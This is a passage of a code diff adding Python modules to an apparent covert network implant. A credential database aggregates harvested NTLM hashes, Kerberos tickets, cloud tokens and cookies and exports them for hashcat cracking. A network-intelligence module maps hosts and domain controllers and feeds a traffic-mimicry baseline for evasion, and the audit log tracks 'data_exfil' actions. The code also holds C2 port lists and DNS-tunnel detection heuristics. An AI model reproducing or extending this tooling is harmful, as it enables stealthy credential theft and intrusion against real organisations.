def _record_change(self, change_type: str, description: str,
old_value: str = "", new_value: str = "",
target_ip: str = "", severity: str = None) -> None:
"""Record a detected change and publish an event."""
if severity is None:
severity = _CHANGE_SEVERITY.get(change_type, "info")
now = time.time()
self._change_count += 1
try:
self._conn.execute(
"""INSERT INTO changes
(timestamp, change_type, severity, description,
old_value, new_value, target_ip)
VALUES (?, ?, ?, ?, ?, ?, ?)""",
(now, change_type, severity, description,
old_value, new_value, target_ip),
)
self._conn.commit()
except Exception:
logger.exception("Failed to record change")
return
# Publish event
self.bus.emit("CHANGE_DETECTED", {
"change_type": change_type,
"severity": severity,
"description": description,
"target_ip": target_ip,
"old_value": old_value,
"new_value": new_value,
}, source_module=self.name)
if severity == "critical":
logger.critical("BURN RISK: %s", description)
elif severity == "warning":
logger.warning("Change: %s", description)
else:
logger.info("Change: %s", description)
# ------------------------------------------------------------------
# Query interface
# ------------------------------------------------------------------
def get_changes(self, severity: str = None, change_type: str = None,
since: float = 0, limit: int = 100) -> list:
"""Query recorded changes with optional filters."""
clauses = ["timestamp > ?"]
params: list = [since]
if severity:
clauses.append("severity = ?")
params.append(severity)
if change_type:
clauses.append("change_type = ?")
params.append(change_type)
where = " AND ".join(clauses)
params.append(limit)
with self._lock:
rows = self._conn.execute(
f"""SELECT * FROM changes
WHERE {where}
ORDER BY timestamp DESC LIMIT ?""",
params,
).fetchall()
return [dict(r) for r in rows]
def get_critical_changes(self, hours: float = 24.0) -> list:
"""Get critical changes in the last N hours."""
since = time.time() - (hours * 3600)
return self.get_changes(severity="critical", since=since)
def get_summary(self) -> dict:
"""Return change detection summary."""
with self._lock:
rows = self._conn.execute(
"""SELECT severity, COUNT(*) FROM changes
GROUP BY severity"""
).fetchall()
by_type = self._conn.execute(
"""SELECT change_type, COUNT(*) FROM changes
GROUP BY change_type"""
).fetchall()
return {
"total": sum(c for _, c in rows),
"by_severity": {s: c for s, c in rows},
"by_type": {t: c for t, c in by_type},
"baseline_built": self._baseline_built,
}
+521
View File
@@ -0,0 +1,521 @@
#!/usr/bin/env python3
"""Central credential store — aggregates credentials from all capture sources.
Subscribes to CREDENTIAL_FOUND, TICKET_HARVESTED, CLOUD_TOKEN_FOUND events.
Deduplicates on (service, username, cred_type, cred_value). Exports in
hashcat, CSV, and JSON formats. Tracks crack status per credential.
"""
import csv
import io
import json
import logging
import os
import sqlite3
import threading
import time
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
_TABLE_DDL = """
CREATE TABLE IF NOT EXISTS credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_module TEXT NOT NULL DEFAULT '',
source_ip TEXT,
target_ip TEXT,
target_port INTEGER,
service TEXT NOT NULL,
username TEXT NOT NULL DEFAULT '',
domain TEXT DEFAULT '',
cred_type TEXT NOT NULL,
cred_value TEXT NOT NULL DEFAULT '',
hashcat_mode INTEGER,
cracked_value TEXT,
crack_status TEXT DEFAULT 'uncracked',
notes TEXT DEFAULT '',
UNIQUE(service, username, cred_type, cred_value)
)
"""
_INDEXES = [
"CREATE INDEX IF NOT EXISTS idx_creds_service ON credentials(service)",
"CREATE INDEX IF NOT EXISTS idx_creds_user ON credentials(username)",
"CREATE INDEX IF NOT EXISTS idx_creds_type ON credentials(cred_type)",
"CREATE INDEX IF NOT EXISTS idx_creds_status ON credentials(crack_status)",
]
# Legacy alias so any external code importing _SCHEMA still works
_SCHEMA = _TABLE_DDL
# Hashcat mode mapping for common credential types
_HASHCAT_MODES = {
"ntlmv2": 5600,
"ntlmv1": 5500,
"ntlm": 1000,
"net-ntlmv2": 5600,
"net-ntlmv1": 5500,
"kerberos_tgs": 13100, # Kerberoast — TGS-REP (RC4)
"kerberos_as": 18200, # AS-REP roast
"kerberos_tgs_aes128": 19600,
"kerberos_tgs_aes256": 19700,
"http_basic": None, # plaintext
"http_digest": 11400,
"snmp_community": None, # plaintext
"mssql": 131,
"mysql": 300,
"postgres": None,
"ftp": None, # plaintext
"telnet": None, # plaintext
"smtp": None, # plaintext
"ldap": None, # plaintext
"vnc": None, # plaintext
"rdp_ntlm": 5600,
"wpa_pmkid": 22000,
"wpa_handshake": 22000,
"cloud_token": None, # not hashable
"ssh_key": None,
"cookie": None,
"jwt": None,
"bearer_token": None,
}
class CredentialDB(BaseModule):
"""Central credential database — ingests, deduplicates, and exports credentials."""
name = "credential_db"
module_type = "intel"
priority = 50
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._db_path = ""
self._conn: Optional[sqlite3.Connection] = None
self._lock = threading.Lock()
self._ingest_count = 0
self._dedup_count = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "credentials.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._conn.execute("PRAGMA journal_mode=WAL")
self._conn.execute("PRAGMA synchronous=NORMAL")
self._conn.execute(_TABLE_DDL)
self._conn.commit()
self._migrate_schema()
for idx_sql in _INDEXES:
self._conn.execute(idx_sql)
self._conn.commit()
# Subscribe to credential events
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
self.bus.subscribe(self._on_ticket_harvested, "TICKET_HARVESTED")
self.bus.subscribe(self._on_cloud_token, "CLOUD_TOKEN_FOUND")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("CredentialDB started — db=%s", self._db_path)
def _migrate_schema(self) -> None:
"""Add columns that exist in _SCHEMA but are missing from an older table."""
required = {
"source_module": "TEXT NOT NULL DEFAULT ''",
"cracked_value": "TEXT",
"crack_status": "TEXT DEFAULT 'uncracked'",
"notes": "TEXT DEFAULT ''",
}
cur = self._conn.execute("PRAGMA table_info(credentials)")
existing = {row[1] for row in cur.fetchall()}
for col, coldef in required.items():
if col not in existing:
self._conn.execute(f"ALTER TABLE credentials ADD COLUMN {col} {coldef}")
logger.info("Schema migrated: added column %s", col)
self._conn.commit()
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
self.bus.unsubscribe(self._on_ticket_harvested, "TICKET_HARVESTED")
self.bus.unsubscribe(self._on_cloud_token, "CLOUD_TOKEN_FOUND")
if self._conn:
self._conn.close()
self._conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"CredentialDB stopped — ingested=%d, deduped=%d",
self._ingest_count, self._dedup_count,
)
def status(self) -> dict:
total = 0
cracked = 0
if self._conn:
try:
with self._lock:
row = self._conn.execute(
"SELECT COUNT(*) FROM credentials"
).fetchone()
total = row[0] if row else 0
row = self._conn.execute(
"SELECT COUNT(*) FROM credentials WHERE crack_status='cracked'"
).fetchone()
cracked = row[0] if row else 0
except Exception:
pass
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_credentials": total,
"cracked": cracked,
"ingested": self._ingest_count,
"deduped": self._dedup_count,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_credential_found(self, event) -> None:
"""Handle CREDENTIAL_FOUND events from any capture module."""
p = event.payload
from utils.credential_encryption import decrypt_credential_payload
p = decrypt_credential_payload(p)
self._ingest_credential(
source_module=event.source_module or p.get("source_module", "unknown"),
source_ip=p.get("source_ip", ""),
target_ip=p.get("target_ip", ""),
target_port=p.get("target_port"),
service=p.get("service", "unknown"),
username=p.get("username", ""),
domain=p.get("domain", ""),
cred_type=p.get("cred_type", "unknown"),
cred_value=p.get("cred_value", ""),
hashcat_mode=p.get("hashcat_mode"),
notes=p.get("notes", ""),
)
def _on_ticket_harvested(self, event) -> None:
"""Handle TICKET_HARVESTED events (Kerberos TGS/AS-REP)."""
p = event.payload
cred_type = p.get("ticket_type", "kerberos_tgs")
self._ingest_credential(
source_module=event.source_module or "kerberos_harvester",
source_ip=p.get("source_ip", ""),
target_ip=p.get("target_ip", ""),
target_port=p.get("target_port", 88),
service=p.get("spn", "krbtgt"),
username=p.get("username", ""),
domain=p.get("domain", ""),
cred_type=cred_type,
cred_value=p.get("ticket_hash", ""),
hashcat_mode=_HASHCAT_MODES.get(cred_type),
notes=p.get("notes", f"SPN: {p.get('spn', '')}"),
)
def _on_cloud_token(self, event) -> None:
"""Handle CLOUD_TOKEN_FOUND events (AWS/Azure/GCP tokens)."""
p = event.payload
self._ingest_credential(
source_module=event.source_module or "cloud_token_harvester",
source_ip=p.get("source_ip", ""),
target_ip=p.get("target_ip", ""),
target_port=p.get("target_port"),
service=p.get("cloud_provider", "cloud"),
username=p.get("identity", ""),
domain=p.get("account_id", ""),
cred_type="cloud_token",
cred_value=p.get("token", ""),
hashcat_mode=None,
notes=p.get("notes", f"Provider: {p.get('cloud_provider', '')}"),
)
# ------------------------------------------------------------------
# Core credential storage
# ------------------------------------------------------------------
def _ingest_credential(self, source_module: str, source_ip: str,
target_ip: str, target_port: Optional[int],
service: str, username: str, domain: str,
cred_type: str, cred_value: str,
hashcat_mode: Optional[int] = None,
notes: str = "") -> bool:
"""Insert a credential, deduplicating on (service, username, cred_type, cred_value).
Returns True if a new credential was inserted, False if duplicate.
"""
if not cred_value:
return False
# Auto-resolve hashcat mode if not provided
if hashcat_mode is None:
hashcat_mode = _HASHCAT_MODES.get(cred_type.lower())
self._ingest_count += 1
with self._lock:
try:
self._conn.execute(
"""INSERT INTO credentials
(timestamp, source_module, source_ip, target_ip, target_port,
service, username, domain, cred_type, cred_value,
hashcat_mode, crack_status, notes)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'uncracked', ?)""",
(time.time(), source_module, source_ip, target_ip, target_port,
service, username, domain, cred_type, cred_value,
hashcat_mode, notes),
)
self._conn.commit()
logger.info(
"New credential: %s\\%s@%s (%s via %s)",
domain, username, service, cred_type, source_module,
)
return True
except sqlite3.IntegrityError:
# Duplicate — update notes/source if new info
self._dedup_count += 1
self._conn.execute(
"""UPDATE credentials
SET notes = CASE WHEN notes = '' THEN ? ELSE notes || '; ' || ? END,
source_module = CASE WHEN source_module NOT LIKE '%' || ? || '%'
THEN source_module || ',' || ? ELSE source_module END
WHERE service=? AND username=? AND cred_type=? AND cred_value=?""",
(notes, notes, source_module, source_module,
service, username, cred_type, cred_value),
)
self._conn.commit()
return False
except Exception:
logger.exception("Failed to ingest credential")
return False
# ------------------------------------------------------------------
# Crack status management
# ------------------------------------------------------------------
def update_crack_status(self, cred_id: int, status: str,
cracked_value: str = "") -> None:
"""Update crack status for a credential.
Args:
cred_id: Credential ID.
status: One of 'uncracked', 'cracking', 'cracked'.
cracked_value: The plaintext password if cracked.
"""
if status not in ("uncracked", "cracking", "cracked"):
return
with self._lock:
try:
self._conn.execute(
"""UPDATE credentials
SET crack_status=?, cracked_value=?
WHERE id=?""",
(status, cracked_value, cred_id),
)
self._conn.commit()
except Exception:
logger.exception("Failed to update crack status for ID %d", cred_id)
def bulk_update_cracked(self, results: dict) -> int:
"""Bulk update cracked passwords from hashcat output.
Args:
results: {hash_value: plaintext_password, ...}
Returns:
Number of credentials updated.
"""
updated = 0
with self._lock:
try:
for hash_val, plaintext in results.items():
cur = self._conn.execute(
"""UPDATE credentials
SET crack_status='cracked', cracked_value=?
WHERE cred_value=? AND crack_status != 'cracked'""",
(plaintext, hash_val),
)
updated += cur.rowcount
self._conn.commit()
except Exception:
logger.exception("Failed to bulk update cracked credentials")
return updated
# ------------------------------------------------------------------
# Export methods
# ------------------------------------------------------------------
def to_hashcat(self, mode: Optional[int] = None) -> str:
"""Export credentials in hashcat format, optionally filtered by mode.
Args:
mode: Hashcat mode number. If None, export all hashable credentials.
Returns:
Newline-separated hash strings ready for hashcat.
"""
with self._lock:
if mode is not None:
rows = self._conn.execute(
"""SELECT username, domain, cred_value, cred_type
FROM credentials
WHERE hashcat_mode=? AND crack_status='uncracked'""",
(mode,),
).fetchall()
else:
rows = self._conn.execute(
"""SELECT username, domain, cred_value, cred_type
FROM credentials
WHERE hashcat_mode IS NOT NULL AND crack_status='uncracked'""",
).fetchall()
lines = []
for username, domain, cred_value, cred_type in rows:
# NTLMv2 and similar Net-NTLM hashes are already in hashcat format
if cred_type.lower() in ("ntlmv2", "net-ntlmv2", "ntlmv1", "net-ntlmv1"):
lines.append(cred_value)
elif cred_type.lower() in ("kerberos_tgs", "kerberos_as",
"kerberos_tgs_aes128", "kerberos_tgs_aes256"):
lines.append(cred_value)
else:
# Generic: just the hash value
lines.append(cred_value)
return "\n".join(lines)
def to_csv(self) -> str:
"""Export all credentials as CSV."""
with self._lock:
rows = self._conn.execute(
"""SELECT id, timestamp, source_module, source_ip, target_ip,
target_port, service, username, domain, cred_type,
cred_value, hashcat_mode, cracked_value, crack_status, notes
FROM credentials ORDER BY timestamp"""
).fetchall()
output = io.StringIO()
writer = csv.writer(output)
writer.writerow([
"id", "timestamp", "source_module", "source_ip", "target_ip",
"target_port", "service", "username", "domain", "cred_type",
"cred_value", "hashcat_mode", "cracked_value", "crack_status", "notes",
])
for row in rows:
writer.writerow(row)
return output.getvalue()
def to_json(self) -> str:
"""Export all credentials as JSON."""
with self._lock:
self._conn.row_factory = sqlite3.Row
rows = self._conn.execute(
"""SELECT * FROM credentials ORDER BY timestamp"""
).fetchall()
self._conn.row_factory = None
return json.dumps([dict(r) for r in rows], indent=2, default=str)
def summary(self) -> dict:
"""Return a summary of stored credentials."""
with self._lock:
total = self._conn.execute("SELECT COUNT(*) FROM credentials").fetchone()[0]
by_type = self._conn.execute(
"SELECT cred_type, COUNT(*) FROM credentials GROUP BY cred_type"
).fetchall()
by_service = self._conn.execute(
"SELECT service, COUNT(*) FROM credentials GROUP BY service"
).fetchall()
by_status = self._conn.execute(
"SELECT crack_status, COUNT(*) FROM credentials GROUP BY crack_status"
).fetchall()
unique_users = self._conn.execute(
"SELECT COUNT(DISTINCT username) FROM credentials"
).fetchone()[0]
unique_hosts = self._conn.execute(
"SELECT COUNT(DISTINCT target_ip) FROM credentials WHERE target_ip != ''"
).fetchone()[0]
return {
"total": total,
"unique_users": unique_users,
"unique_hosts": unique_hosts,
"by_type": {t: c for t, c in by_type},
"by_service": {s: c for s, c in by_service},
"by_status": {s: c for s, c in by_status},
}
# ------------------------------------------------------------------
# Query helpers
# ------------------------------------------------------------------
def get_credentials(self, service: str = None, username: str = None,
cred_type: str = None, limit: int = 100) -> list:
"""Query credentials with optional filters."""
clauses = []
params = []
if service:
clauses.append("service = ?")
params.append(service)
if username:
clauses.append("username = ?")
params.append(username)
if cred_type:
clauses.append("cred_type = ?")
params.append(cred_type)
where = " AND ".join(clauses) if clauses else "1=1"
params.append(limit)
with self._lock:
self._conn.row_factory = sqlite3.Row
rows = self._conn.execute(
f"SELECT * FROM credentials WHERE {where} ORDER BY timestamp DESC LIMIT ?",
params,
).fetchall()
self._conn.row_factory = None
return [dict(r) for r in rows]
def get_cracked(self) -> list:
"""Return all cracked credentials with plaintext values."""
with self._lock:
self._conn.row_factory = sqlite3.Row
rows = self._conn.execute(
"""SELECT username, domain, service, cracked_value, target_ip
FROM credentials
WHERE crack_status='cracked' AND cracked_value IS NOT NULL
ORDER BY timestamp DESC"""
).fetchall()
self._conn.row_factory = None
return [dict(r) for r in rows]
+480
View File
@@ -0,0 +1,480 @@
#!/usr/bin/env python3
"""Network intelligence — beacon detection, communication graph analysis,
existing C2/malware detection, and service dependency mapping.
Analyzes traffic patterns to identify beaconing connections, central/isolated
nodes, known-bad indicators, and service dependencies. Feeds anomaly
baselines to traffic_mimicry.
"""
import json
import logging
import math
import os
import sqlite3
import threading
import time
from collections import defaultdict
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Known malicious infrastructure patterns
_KNOWN_BAD_PORTS = {
4444, 5555, 1234, 31337, 8888, 6666, 6667, 6668, 6669, # common RAT/IRC
4443, 8443, 2222, # common C2 alt ports
}
# DNS tunneling detection thresholds
_DNS_TUNNEL_MIN_SUBDOMAIN_LEN = 30 # base64-encoded data tends to be long
_DNS_TUNNEL_QUERY_RATE = 50 # queries/min to a single domain = suspicious
# Beacon detection defaults
_BEACON_INTERVAL_RATIO = 0.15 # stddev/mean < 0.15 = likely beacon
_BEACON_MIN_CONNECTIONS = 10 # need enough samples to be meaningful
class NetIntel(BaseModule):
"""Analyze network traffic patterns for beacons, C2, anomalies, and dependencies."""
name = "net_intel"
module_type = "intel"
priority = 150
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._lock = threading.Lock()
self._analysis_thread: Optional[threading.Thread] = None
# Connection tracking: (src, dst, port) -> [timestamps]
self._conn_times: dict[tuple, list] = defaultdict(list)
# Communication graph: ip -> {peers: set, bytes_in, bytes_out}
self._comm_graph: dict[str, dict] = defaultdict(
lambda: {"peers": set(), "bytes_in": 0, "bytes_out": 0, "conn_count": 0}
)
# DNS query tracking: domain -> [timestamps]
self._dns_queries: dict[str, list] = defaultdict(list)
# Detected beacons
self._beacons: list[dict] = []
# Service dependency map: service_ip:port -> [client_ips]
self._service_deps: dict[str, set] = defaultdict(set)
# Anomalies / suspicious findings
self._findings: list[dict] = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
self.bus.subscribe(self._on_beacon_detected, "BEACON_DETECTED")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
# Periodic analysis thread
self._analysis_thread = threading.Thread(
target=self._analysis_loop, daemon=True,
name="sensor-netintel-analysis",
)
self._analysis_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("NetIntel started")
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
self.bus.unsubscribe(self._on_beacon_detected, "BEACON_DETECTED")
# Persist findings
self._save_findings()
self.state.set_module_status(self.name, "stopped")
logger.info(
"NetIntel stopped — %d beacons, %d findings",
len(self._beacons), len(self._findings),
)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"tracked_flows": len(self._conn_times),
"graph_nodes": len(self._comm_graph),
"beacons_detected": len(self._beacons),
"findings": len(self._findings),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Data ingestion
# ------------------------------------------------------------------
def ingest_connection(self, src_ip: str, dst_ip: str, dst_port: int,
protocol: str = "tcp", bytes_sent: int = 0,
bytes_recv: int = 0, timestamp: float = None) -> None:
"""Ingest a connection record for analysis.
Called by other modules (dns_logger, packet analyzers) or directly.
"""
ts = timestamp or time.time()
with self._lock:
# Connection timing for beacon detection
flow_key = (src_ip, dst_ip, dst_port)
self._conn_times[flow_key].append(ts)
# Communication graph
self._comm_graph[src_ip]["peers"].add(dst_ip)
self._comm_graph[src_ip]["bytes_out"] += bytes_sent
self._comm_graph[src_ip]["conn_count"] += 1
self._comm_graph[dst_ip]["peers"].add(src_ip)
self._comm_graph[dst_ip]["bytes_in"] += bytes_recv
self._comm_graph[dst_ip]["conn_count"] += 1
# Service dependency
service_key = f"{dst_ip}:{dst_port}"
self._service_deps[service_key].add(src_ip)
# Known-bad port check
if dst_port in _KNOWN_BAD_PORTS:
self._add_finding(
"suspicious_port",
f"{src_ip} -> {dst_ip}:{dst_port} ({protocol})",
severity="warning",
details={"src": src_ip, "dst": dst_ip, "port": dst_port},
)
def ingest_dns_query(self, client_ip: str, query_name: str,
query_type: str = "A", timestamp: float = None) -> None:
"""Ingest a DNS query for tunneling and pattern analysis."""
ts = timestamp or time.time()
with self._lock:
self._dns_queries[query_name].append(ts)
# Check for DNS tunneling indicators
parts = query_name.split(".")
if len(parts) >= 3:
# Long subdomain labels suggest encoding
subdomain = ".".join(parts[:-2])
if len(subdomain) >= _DNS_TUNNEL_MIN_SUBDOMAIN_LEN:
base_domain = ".".join(parts[-2:])
self._add_finding(
"dns_tunnel_suspect",
f"Long subdomain to {base_domain} from {client_ip}: "
f"{len(subdomain)} chars",
severity="warning",
details={
"client": client_ip,
"base_domain": base_domain,
"subdomain_len": len(subdomain),
"query_type": query_type,
},
)
def _on_host_discovered(self, event) -> None:
"""Track new hosts for the communication graph."""
p = event.payload
ip = p.get("ip", "")
if ip and ip not in self._comm_graph:
with self._lock:
self._comm_graph[ip]["peers"] = set()
def _on_beacon_detected(self, event) -> None:
"""Record externally detected beacons."""
p = event.payload
with self._lock:
self._beacons.append({
"src": p.get("src_ip", ""),
"dst": p.get("dst_ip", ""),
"port": p.get("port", 0),
"interval": p.get("interval", 0),
"jitter": p.get("jitter", 0),
"detected_at": time.time(),
"source": event.source_module,
})
# ------------------------------------------------------------------
# Analysis engine
# ------------------------------------------------------------------
def _analysis_loop(self) -> None:
"""Periodic analysis of accumulated traffic data."""
interval = self.config.get("analysis_interval", 120)
while self._running:
time.sleep(interval)
try:
self._detect_beacons()
self._detect_dns_tunneling()
self._analyze_communication_graph()
self._save_findings()
except Exception:
logger.exception("NetIntel analysis cycle failed")
def _detect_beacons(self) -> None:
"""Detect beaconing connections by analyzing inter-connection intervals.
A beacon has a regular interval: stddev/mean ratio < threshold.
"""
threshold = self.config.get(
"beacon_ratio_threshold", _BEACON_INTERVAL_RATIO
)
min_samples = self.config.get(
"beacon_min_connections", _BEACON_MIN_CONNECTIONS
)
with self._lock:
for flow_key, timestamps in self._conn_times.items():
if len(timestamps) < min_samples:
continue
# Calculate inter-arrival intervals
sorted_ts = sorted(timestamps)
intervals = [
sorted_ts[i + 1] - sorted_ts[i]
for i in range(len(sorted_ts) - 1)
]
if not intervals:
continue
mean_interval = sum(intervals) / len(intervals)
if mean_interval <= 0:
continue
variance = sum((x - mean_interval) ** 2 for x in intervals) / len(intervals)
stddev = math.sqrt(variance)
ratio = stddev / mean_interval
if ratio < threshold:
src, dst, port = flow_key
beacon_info = {
"src": src,
"dst": dst,
"port": port,
"mean_interval": round(mean_interval, 2),
"stddev": round(stddev, 2),
"ratio": round(ratio, 4),
"sample_count": len(timestamps),
"detected_at": time.time(),
}
# Avoid duplicate beacon alerts
is_dup = any(
b["src"] == src and b["dst"] == dst and b["port"] == port
for b in self._beacons
)
if not is_dup:
self._beacons.append(beacon_info)
self.bus.emit("BEACON_DETECTED", {
"src_ip": src,
"dst_ip": dst,
"port": port,
"interval": mean_interval,
"jitter": stddev,
"ratio": ratio,
}, source_module=self.name)
logger.warning(
"BEACON: %s -> %s:%d every %.1fs "
"(ratio=%.4f, n=%d)",
src, dst, port, mean_interval, ratio,
len(timestamps),
)
def _detect_dns_tunneling(self) -> None:
"""Detect potential DNS tunneling by query rate to specific domains."""
now = time.time()
window = 60.0 # 1-minute window
with self._lock:
# Aggregate by base domain (last 2 labels)
domain_rates: dict[str, int] = defaultdict(int)
for query_name, timestamps in self._dns_queries.items():
parts = query_name.split(".")
if len(parts) >= 2:
base = ".".join(parts[-2:])
recent = sum(1 for t in timestamps if now - t < window)
domain_rates[base] += recent
for domain, rate in domain_rates.items():
if rate >= _DNS_TUNNEL_QUERY_RATE:
self._add_finding(
"dns_tunnel_rate",
f"High DNS query rate to {domain}: {rate}/min",
severity="critical",
details={"domain": domain, "rate_per_min": rate},
)
def _analyze_communication_graph(self) -> None:
"""Identify central nodes, isolated hosts, and unusual patterns."""
with self._lock:
if len(self._comm_graph) < 3:
return
# Find most-connected nodes (potential central servers / DCs)
by_peers = sorted(
self._comm_graph.items(),
key=lambda x: len(x[1]["peers"]),
reverse=True,
)
total_nodes = len(self._comm_graph)
central_threshold = max(total_nodes * 0.3, 5)
for ip, data in by_peers[:10]:
peer_count = len(data["peers"])
if peer_count >= central_threshold:
self.state.set(
self.name,
f"central_node_{ip}",
json.dumps({
"ip": ip,
"peer_count": peer_count,
"bytes_in": data["bytes_in"],
"bytes_out": data["bytes_out"],
}),
)
# Find isolated hosts (single or no peers — unusual)
for ip, data in self._comm_graph.items():
if len(data["peers"]) <= 1 and data["conn_count"] > 20:
self._add_finding(
"isolated_talker",
f"{ip} has {data['conn_count']} connections "
f"but only {len(data['peers'])} peer(s)",
severity="info",
details={"ip": ip, "peers": list(data["peers"])},
)
# ------------------------------------------------------------------
# Findings management
# ------------------------------------------------------------------
def _add_finding(self, finding_type: str, description: str,
severity: str = "info", details: dict = None) -> None:
"""Record a finding, deduplicating by type + description."""
# Simple dedup: don't re-add identical findings
for f in self._findings:
if f["type"] == finding_type and f["description"] == description:
f["last_seen"] = time.time()
f["count"] = f.get("count", 1) + 1
return
self._findings.append({
"type": finding_type,
"description": description,
"severity": severity,
"details": details or {},
"first_seen": time.time(),
"last_seen": time.time(),
"count": 1,
})
def _save_findings(self) -> None:
"""Persist findings and beacons to state."""
with self._lock:
beacons_ser = list(self._beacons)
findings_ser = list(self._findings)
# Serialize service deps
deps_ser = {k: list(v) for k, v in self._service_deps.items()}
self.state.set(self.name, "beacons", json.dumps(beacons_ser))
self.state.set(self.name, "findings", json.dumps(findings_ser))
self.state.set(self.name, "service_deps", json.dumps(deps_ser))
# ------------------------------------------------------------------
# Public query interface
# ------------------------------------------------------------------
def get_beacons(self) -> list:
"""Return all detected beacons."""
with self._lock:
return list(self._beacons)
def get_findings(self, severity: str = None) -> list:
"""Return findings, optionally filtered by severity."""
with self._lock:
if severity:
return [f for f in self._findings if f["severity"] == severity]
return list(self._findings)
def get_central_nodes(self, min_peers: int = 5) -> list:
"""Return the most-connected nodes in the communication graph."""
with self._lock:
results = []
for ip, data in self._comm_graph.items():
peer_count = len(data["peers"])
if peer_count >= min_peers:
results.append({
"ip": ip,
"peer_count": peer_count,
"bytes_in": data["bytes_in"],
"bytes_out": data["bytes_out"],
"conn_count": data["conn_count"],
})
results.sort(key=lambda x: x["peer_count"], reverse=True)
return results
def get_service_dependencies(self) -> dict:
"""Return service dependency map: service -> [dependent clients]."""
with self._lock:
return {k: list(v) for k, v in self._service_deps.items()}
def get_anomaly_baseline(self) -> dict:
"""Return traffic pattern baseline for traffic_mimicry module.
Provides:
- Typical connection intervals per flow
- Byte distribution per protocol
- Peak/quiet hour patterns
"""
with self._lock:
flow_intervals = {}
for flow_key, timestamps in self._conn_times.items():
if len(timestamps) < 3:
continue
sorted_ts = sorted(timestamps)
intervals = [sorted_ts[i + 1] - sorted_ts[i]
for i in range(len(sorted_ts) - 1)]
mean = sum(intervals) / len(intervals)
flow_intervals[f"{flow_key[0]}->{flow_key[1]}:{flow_key[2]}"] = {
"mean_interval": round(mean, 2),
"sample_count": len(timestamps),
}
# Hour-of-day connection distribution
hourly = defaultdict(int)
for timestamps in self._conn_times.values():
for ts in timestamps:
hour = time.localtime(ts).tm_hour
hourly[hour] += 1
return {
"flow_intervals": flow_intervals,
"hourly_distribution": dict(hourly),
"total_flows": len(self._conn_times),
"total_nodes": len(self._comm_graph),
}
+412
View File
@@ -0,0 +1,412 @@
#!/usr/bin/env python3
"""Operator audit trail — append-only log with HMAC integrity chain.
Logs all operator actions: SSH sessions, CLI commands, module activations,
config changes. Each row includes an HMAC of the previous row, forming
a tamper-evident chain. Subscribes to MODULE_STARTED, MODULE_STOPPED,
and KILL_SWITCH events.
"""
import hashlib
import hmac
import json
import logging
import os
import sqlite3
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
_SCHEMA = """
CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
action TEXT NOT NULL,
operator TEXT DEFAULT '',
details TEXT DEFAULT '',
hmac TEXT NOT NULL
);
CREATE INDEX IF NOT EXISTS idx_audit_ts ON audit_log(timestamp);
CREATE INDEX IF NOT EXISTS idx_audit_action ON audit_log(action);
"""
# Action types
ACTION_MODULE_START = "module_start"
ACTION_MODULE_STOP = "module_stop"
ACTION_KILL_SWITCH = "kill_switch"
ACTION_CONFIG_CHANGE = "config_change"
ACTION_SSH_SESSION = "ssh_session"
ACTION_CLI_COMMAND = "cli_command"
ACTION_CRED_EXPORT = "cred_export"
ACTION_DATA_EXFIL = "data_exfil"
ACTION_BASELINE_BUILD = "baseline_build"
ACTION_MANUAL = "manual"
class OperatorAudit(BaseModule):
"""Append-only operator audit trail with HMAC integrity chain."""
name = "operator_audit"
module_type = "intel"
priority = 50 # Critical — always runs
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._db_path = ""
self._conn: Optional[sqlite3.Connection] = None
self._lock = threading.Lock()
self._hmac_key = b""
self._last_hmac = ""
self._entry_count = 0
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "operator_audit.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._conn.execute("PRAGMA journal_mode=WAL")
self._conn.execute("PRAGMA synchronous=NORMAL")
self._conn.row_factory = sqlite3.Row
self._conn.executescript(_SCHEMA)
# HMAC key: from config or derive from machine ID
key_config = self.config.get("audit_hmac_key", "")
if key_config:
self._hmac_key = key_config.encode() if isinstance(key_config, str) else key_config
else:
self._hmac_key = self._derive_machine_key()
# Load last HMAC from chain
self._last_hmac = self._get_last_hmac()
# Subscribe to events
self.bus.subscribe(self._on_module_started, "MODULE_STARTED")
